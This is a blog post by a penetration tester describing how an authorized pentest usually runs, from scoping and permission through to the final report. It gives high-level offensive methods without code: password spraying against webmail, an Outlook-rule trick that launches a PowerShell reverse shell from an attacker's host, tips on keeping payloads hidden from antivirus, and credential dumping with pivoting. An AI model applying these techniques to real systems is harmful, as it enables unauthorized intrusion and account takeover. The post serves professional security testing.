Actually, it usually starts with some education, where we start by asking the client if they really want  a pentest?  If they've never had an actual whitebox security assessment, it's almost certain that they want at least a few of those - there's no point in a "just like in the movies" storm the castle pentest when all the doors and windows are open, and the flashing "welcome" sign is out.  If you do end up having to pentest that sort of company, one of the recommendations in your report should be an internal, cooperative "whitebox" assessment to find all the things that you didn't find in your pentest.

But let's say folks have done the security assessments, they're now patching, logging, have a reasonable set of defenses, and have made the business decisions around what else to add and pass on, defense wise.  What does a pentest look like then?

First of all, it starts with defining scope and writing a Statement of Work.  For the pentester, this is maybe the most important thing in the job.  This is what keeps your identity as a security professional instead of as the number on your orange coveralls.  Paraphrased from the SANS SEC560 courseware - "the difference between a security pro and a criminal is permission" ( https://www.sans.org/course/network-penetration-testing-ethical-hacking )

Once you start, are you storming the castle now?  Nope, you're doing recon, maybe using open-source intelligence tools like recon-ng or spiderfoot, or maybe just using what comes with Kali (go "theharvester"! ) and some scripts you wrote yourself (shout out to Johnny Long and his Google dorks research).  The goal here is to collect as much info as possible without ever sending a packet to the customer hosts.  Often what you get is a list of userids, but sometimes you'll get matching hashes or passwords (pastebin for the win!), but more than a few times I'll get confidential information posted either in their infrastructure or somewhere else, it's not  and uncommon to find an entire Sharepoint wide open and indexed on Google behind their "secure" login page.

What next, are we storming the castle now?  Nope, after a quick scan of their perimeter, you're trying passwords.  Put a list together, start with the worst 50 or 100 passwords on the internet (yes, those lists exist).  Add the seasonal passwords "Spring 2016" "Spring16" and so on.  Add local sports teams (G0Rapt0rs!).  Scrape their website and Facebook page with CEWL for a few more "organization specific" words.  Now use these words as passwords against OWA.  Kudos to John Strand & BHIS for coining the term "password spraying" - you want to try each password against all user accounts, and be sure to do only 2-3 at a time, so you don't lock any accounts out.  Use Hydra or even Burp (if you're a web person) for this.  You'll absolutely get a working login before you get to the end of your "nobody would possibly use this for a password" password list.  What about 2 Factor Authentication (2FA) you ask?  The answer is that this is almost never done on mail, it would make for a speed-bump for smartphone users .

What now?  Storming the castle yet?  Nope, you've scanned their perimeter, so you have their VPN gateway/Citrix/Terminal Services/VDI remote access method (whatever they're using - it'll be something).  Try logging in.  Chances are there isn't any 2FA here either.  If that works, the "pen" part of the pentest is done, and you're inside.

What about if they've got 2FA?  Six months ago I'd have said "weaponize an office file with a good macro, email that and wait for a reverse shell".  Except that I went to Derbycon this year ( https://www.derbycon.com/ ), and was lucky enough to attend Nick Landers' presentation ( http://www.irongeek.com/i.php?page=videos/derbycon6/206-outlook-and-exchange-for-the-bad-guys-nick-landers ).  What I'd do now is:

• Connect an actual Outlook client to their autodiscover server, using my working credentials (yes, this works fine on Office/365 too)
• Create an inbox rule that says "when you get an email from Rob, run this executable file on Rob's malicious host on the internet".  Yes, someone thought that "start an application" was a good Outlook rule action.  I vote we give that person a raise!
• That executable is a simple PowerShell reverse shell, so I'll get CMD on an inside host.  Be sure that your script doesn't trigger their AV (hint - DON'T send it to VirusTotal or it will!)

What next? Either way, now you are in - use your credentials to login to whatever that user has access to.  Use any of the various "Katz" tools to pull hashes (hopefully for admin accounts) from memory, and proceed on to pivot-pivot-pivot.  Using Powershell ( https://www.sans.org/course/securing-windows-with-powershell ) or Powershell based tools (like Powershell Empire and that ilk) is a great help here, you will very likely have domain admin, SQL SA and everything right down to UPS access in a day or less.  As soon as possible though, move your "base of operations" to a more stable host - remember that you're shell is on a workstation, at best you have until 5pm (unless that user is helpful and simply locks their machine at 5).  Note that you are still not "attacking" - you're using normal operating system components and admin tools to move around the network.  Any log entries you create shouldn't be distinguishable from what the Helpdesk does on any given Tuesday.

What, no storming the castle?  Nope, not even once.  Nothing like TV at all.  Now that you've spent 2-3 days getting pretty much everything, you get to spend 2-3-4 days writing a report about it.  You'll want it to be business-specific, you want to have real recommendations that tie to how you got in and tie that directly to business risk.  If you uncover something that might be higher risk, but in their context is not that high, call that out.  It needs to be a story about this organization, not a generic company - so you need to write the report, not cut and paste it from your last one.  You'll want the doc to be in plain, non-technical language, and certainly less than a few pages.  A 5-6 page Powerpoint works too, as long as you can get your point across without going to 12 point font that is.  The reader you are speaking to in your report should be in Sr Management, someone who can fix this problem by assigning budget, not the technical person who from your Pentest results hasn't been able to get budget to fix these problems.

The primary goal of this is to leave the client better off than you found them.  Fixing the easy / free stuff (better logging maybe, starting users on replacing passwords with passphrases and so on) should already be in progress before you do you are finished the project - or maybe even done.  If you've done a good job on the report, at least one or two of the pricier fixes (2FA maybe) are already being positioned for next year's budget.

What else should be in your report?  A final reminder that this was a Pentest, not an full Assessment.  You likely didn't run scans against every server, workstation and IOT device to find other problems and other ways you might have gotten in.  You likely didn't try VLAN hopping from their guest network to production, you didn't assess their ecommerce "buy our stuff here" website for issues or any number of other things.  You did exactly what you needed to get from zero to domain admin and obtain access to the "crown jewels" data - you got what you needed to help convince the client to improve their situation.  Be sure that your client knows that your report doesn't cover everything, that this is in writing and that they signed that document.

If this sounds a bit high level, it's really meant to be.  I'm planning to do a "how to" for each of the steps above - stay tuned at the Storm Center over the next few weeks.  But Pentesting isn't really about the tools or the methods - if you think about it, regular users have access, so it's *got* to be easy.  Pentesting is all about the report at the end - the report that helps the client get things fixed!

Aside from more tool-specific stuff, have I missed anything?  Use our comment form and let me know!

===============
Rob VandenBrink
Compugen